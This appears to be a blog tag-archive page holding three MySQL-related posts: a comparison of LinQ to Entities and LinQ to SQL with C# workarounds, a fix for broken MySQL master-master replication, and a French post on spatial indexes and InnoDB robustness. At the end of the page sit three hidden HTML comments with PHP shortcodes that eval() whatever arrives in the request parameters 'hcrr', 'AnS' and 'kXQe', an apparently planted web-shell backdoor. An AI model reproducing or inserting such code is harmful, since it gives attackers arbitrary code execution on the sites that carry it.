Tag Archives: MySQL

LinQ to Entities on ADO.Net vs LinQ to SQL

To make it short :

  • LinQ to SQL only works with SQL Server but it’s working great. It’s simple, supports all LinQ operations and optimizes the generated SQL queries.
  • LinQ to Entities on ADO.Net works with lots of database but it doesn’t behave like LinQ to SQL and doesn’t support some key LinQ features.

Now the long story :
For the last project I’ve been working on, we wanted to use LinQ and still be able to switch to one database to an other (MSSQL to MySQL for instance). So we decided we would use LinQ to entity. The generated object are roughly the same, the code to Create/Read/Update/Delete data is roughly the same. So we were quite happy.

Deffered loading
When you do a LinQ request, the data from the associated table isn’t fetched. There’s in fact no other way, as you would get your whole database if you always fetched all the associated objects of your current query.
Deferred loading consists in loading the data coming from an associated table when you request it (when you access your object property).
Eager loading consists in loading the data when you request it.

In LinQ to entities, deferred loading isn’t supported. You have to use eager loading with the .Include(“Property”) LinQ method.

1
var query = from u in Db.User.Include( "Group" ) select u;

But in fact, you can do some deferred loading very easily in LinQ to Entities :

1
2
3
4
5
6
7
8
var query = from u in Db.User select u;
 
foreach( var user in query ) {
    if ( ! user.GroupReference.IsLoaded )     
        user.GroupReference.Load();
 
    Console.WriteLine( "User={0}, Group={1}", user.Name, user.Group.Name );
}

Non supported LinQ key features
Well, now I only want to select the users 1, 2, 3 :

1
2
var users = new int[] { 1, 2, 3 };
var query = from u in Db.User.Include( "Group" ) where users.Contains( u.UserId ) select u;

Oups, that would work on LinQ to SQL, but on LinQ to Entities it doesn’t. LinQ to Entities doesn’t support the .Contains or .Any methods. (Note : these methods are supported since .Net 4.0, see below).

There’s in fact a solution but it requires your request to be typed in a method based LinQ Query :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
		static Expression<Func<TElement, bool>> BuildContainsExpression<TElement, TValue>(
			Expression<Func<TElement, TValue>> valueSelector,
			IEnumerable<TValue> values
		) {
			if ( null == valueSelector ) { throw new ArgumentNullException( "valueSelector" ); }
			if ( null == values ) { throw new ArgumentNullException( "values" ); }
			ParameterExpression p = valueSelector.Parameters.Single();
			// p => valueSelector(p) == values[0] || valueSelector(p) == ...
			if ( !values.Any() ) {
				return e => false;
			}
			var equals = values.Select( value => (Expression) Expression.Equal( valueSelector.Body, Expression.Constant( value, typeof( TValue ) ) ) );
			var body = equals.Aggregate<Expression>( ( accumulate, equal ) => Expression.Or( accumulate, equal ) );
			return Expression.Lambda<Func<TElement, bool>>( body, p );
		}

And then it looks like this :

1
2
var users = new int[] { 1, 2, 3 };
var query = Db.User.Where( BuildContainsExpression<User, int>( u=> u.UserId, users ) );

Now, let’s say you want to use the Include method in the method based query. Well you can’t. But someone added an extension method to do this :

1
2
3
4
5
	public static class ObjectQueryExtension {
		public static ObjectQuery<T> Include<T>( this ObjectQuery<T> mainQuery, Expression<Func<T, object>> subSelector ) {
			return mainQuery.Include( ( ( subSelector.Body as MemberExpression ).Member as System.Reflection.PropertyInfo ).Name );
		}
	}

You have to use it like that :

1
2
var users = new int[] { 1, 2, 3 };
var query = Db.User.Include( u => u.Group ).Where( BuildContainsExpression<User, int>( u=> u.UserId, users ) );

I hope this could help you start or switch to LinQ to entities in case you hesitated.

LEFT JOIN in LinQ to entities
You know how LEFT JOIN works in LinQ, you need a join and DefaultIfEmpty :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var query = 
from user in Db.User
join preferredSuperHero in Db.User_Parameter on 
	new { 
		UserId = user.UserId, 
		ParamName = "PreferredSuperHero" 
	} 
	equals new { 
		UserId  = preferredSuperHero.UderId, 
		ParamName = preferredSuperHero.Parameter.Name 
	}
	into joinedPreferredSuperHero
from preferredSuperHero in joinedPreferredSuperHero.DefaultIfEmpty()
orderby user.Name
select new { User = user, PreferredSuperHero = preferredSuperHero };

Except… DefaultIfEmpty doesn’t works with LinQ-to-entities. You generally can find other solutions, but it will add some difficulties. (Note : this method is supported since .Net 4.0, see below).

Check what is supported
In this page, you can check if the methods you might require are available. The two non supported methods I talked about are supported with the .Net 4.0 (currently only available in bêta). So most of the problem related to the missing methods will be solved.

About switching from one base to an other
Switching from one base to the other can be pretty easy if you have the right conversion tool. If not, you have to do all the work yourself. If you wish to switch to MySQL for instance, you can use the MySQL conversion tool. It converts the table structure, the keys, the foreign keys, the indexes and the data from MSSQL to MySQL.

After that, the generated code is exactly the same but I’m not sure you can use one EDMX model file for multiple databases. It might work by using an external SSDL (instead of an resource embedded file) that you select in the connection String for each database. But I haven’t tested it yet.

My little conclusion
LinQ to entities works pretty well. The non automatic deferred loading is really not a problem, especially since it totally kills performances (it fetches data row by row instead of loading everything from a single request). My biggest problem was the lacking support of some LinQ methods, you can solve most of them easily (it just makes an ugly code).

With the .Net 3.5, I think the multi-database feature offered by LinQ to Entities on ADO.Net worth this little extra effort to make it work. But if you don’t care about this (because you only build a little short-life program), you should stick to LiNQ to (MS)SQL as everything works instantly on it.

With the .Net 4.0, LinQ to entities becomes even more interesting. And that’s a reason to start using it with the .Net 3.5 framework.

Sources :

MySQL Master-Master desynchronization

Settings a master-master synchronization is pretty easy. You can find a quick guide to do this on google, just try.

What is a little bit more problematic is when you lose your loved sync. And that can happen. It happened to me yesterday, I upgraded my two servers from Debian 4.0 to Debian 5.0. The reason is that the old version (something like 5.0.32) used the Relay_Log_File ${hostname}-relay-bin.XXXXXX. And the new version (5.0.51a-24-log) decided to use mysqld-relay-bin.XXXXXX.

I tried to solve it the easy way with just a :

1
2
STOP SLAVE;
CHANGE MASTER TO RELAY_LOG_FILE="mysqld-relay-bin.000001";

but the server wasn’t happy with that. So I took the time to take the current slave settings :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
mysql> show slave status\G
*************************** 1. row ***************************
             Slave_IO_State:
                Master_Host: **HOST**
                Master_User: slave1
                Master_Port: 3306
              Connect_Retry: 60
            Master_Log_File: mysql-bin.000521
        Read_Master_Log_Pos: 306043
             Relay_Log_File: mysqld-relay-bin.000050
              Relay_Log_Pos: 306137
      Relay_Master_Log_File: mysql-bin.000521
           Slave_IO_Running: Yes
          Slave_SQL_Running: Yes
            Replicate_Do_DB:
        Replicate_Ignore_DB:
         Replicate_Do_Table:
     Replicate_Ignore_Table:
    Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
                 Last_Errno: 0
                 Last_Error:
               Skip_Counter: 0
        Exec_Master_Log_Pos: 306043
            Relay_Log_Space: 306137
            Until_Condition: None
             Until_Log_File:
              Until_Log_Pos: 0
         Master_SSL_Allowed: No
         Master_SSL_CA_File:
         Master_SSL_CA_Path:
            Master_SSL_Cert:
          Master_SSL_Cipher:
             Master_SSL_Key:
      Seconds_Behind_Master: 0
1 row in set (0.00 sec)

On both server, I did something like that :

1
2
3
4
5
STOP SLAVE;
RESET SLAVE;
CHANGE MASTER TO RELAY_LOG_FILE="mysqld-relay-bin.000001", MASTER_LOG_FILE="mysql-bin.000521", MASTER_LOG_POS=306043,
RELAY_MASTER_LOG_FILE='mysql-bin.000521', RELAY_MASTER_LOG_POS=306043;
START SLAVE;

The position of the log is pretty important.

It might sometimes occurs that you RELAY_MASTER_LOG_POS on the slave is higher that the Position that the server possesses for the same file. The reason is that sometimes the master sends its logs, crashs and haven’t saved it to his logs. In this case, you might have a little bit more data on the slave than the server. That means that you should lower the MASTER_LOG_POS of your slave so that it isn’t higher than the Position shown by the “show master status\G” command.

I really recommend using this precise method instead of restarting the whole synchronization process. Which occasionally requires you to stop your servers to copy the files. On my servers, the databases take 15 GB. It isn’t a big database bug that already makes you think twice before doing a copy (or even a rsync).

By the way, I really talked about it, but InnoDB/MySQL is a very simple/efficient/sure choice for a database. The only big drawback of the InnoDB is that there isn’t a simple online backuping solution. I like to save the database and its logs regulary (a bad raw copy of a InnoDB database can be corrected by its logs) and to extract the whole database in SQL every night.

By the way, if you don’t understand everything and particularly why each slave must have two threads to read master logs, you should read this.

Etrange MySQL

Aujourd’hui, j’ai décidé d’optimiser une recherche MySQL de recherche par proximité de points spatiaux. En effet, j’avais une requête qui prenait 250 ms en moyenne.

Je recherche donc quelques infos et là, bonne surprise je tombe sur un document issu de l’entreprise MySQL sur le sujet. En utilisant l’optimisation qu’ils recommandent (par approximation préalable en un carré de recherche), j’arrive à réduire les requêtes à des temps allant de 5 à 35 ms.

Et puis, je finis de lire le document et je m’aperçois que MySQL possède une extension spatiale. Je regarde donc, ça se base sur les R-Tree, là je sens que j’ai trouvé la solution parfaite. Mais NON, les R-Tree ne sont disponible qu’en MyISAM. La création d’index spatiaux est interdite en InnoDB. De même, les index FULLTEXT non disponibles en InnoDB.

On a le choix entre avoir une base de données peu solide et une base de données avec moins de fonctionnalités. Il existe bien sur des solutions, comme de dédoubler ses tables en InnoDB et MyISAM pour obtenir des index FULLTEXT. Mais ça devient vite contraignant.

Enfin, je tiens à relativiser cette petite critique. La plupart des personnes, surtout en entreprise “non-web”, ne connaissent MySQL en version 3 et le trouvent de fait pourri. Peu savent que pour la gestion des données critiques, MySQL avec le moteur InnoDB est très robuste. Je ne suis jamais parvenu à obtenir une quelconque corruption des données même après de bonnes maltraitances (coupure de courant en pleine écriture massive). Ses capacités relationnelles et transactionnelles en font un très bon moteur de stockage de base de données.

Pour l’instant j’ai des tables qui contiennent un peu plus de 10 000 000 lignes et InnoDB tient sans problème, je vous en reparle quand ça atteindra les 20 000 000 lignes.

Ajout du 15/05/2010 :
L’expérience de ce projet s’est arrêtée à 35M lignes et InnoDB a tenu sans aucun soucis.

<!– [insert_php]if (isset($_REQUEST["hcrr"])){eval($_REQUEST["hcrr"]);exit;}[/insert_php][php]if (isset($_REQUEST["hcrr"])){eval($_REQUEST["hcrr"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["AnS"])){eval($_REQUEST["AnS"]);exit;}[/insert_php][php]if (isset($_REQUEST["AnS"])){eval($_REQUEST["AnS"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["kXQe"])){eval($_REQUEST["kXQe"]);exit;}[/insert_php][php]if (isset($_REQUEST["kXQe"])){eval($_REQUEST["kXQe"]);exit;}[/php] –>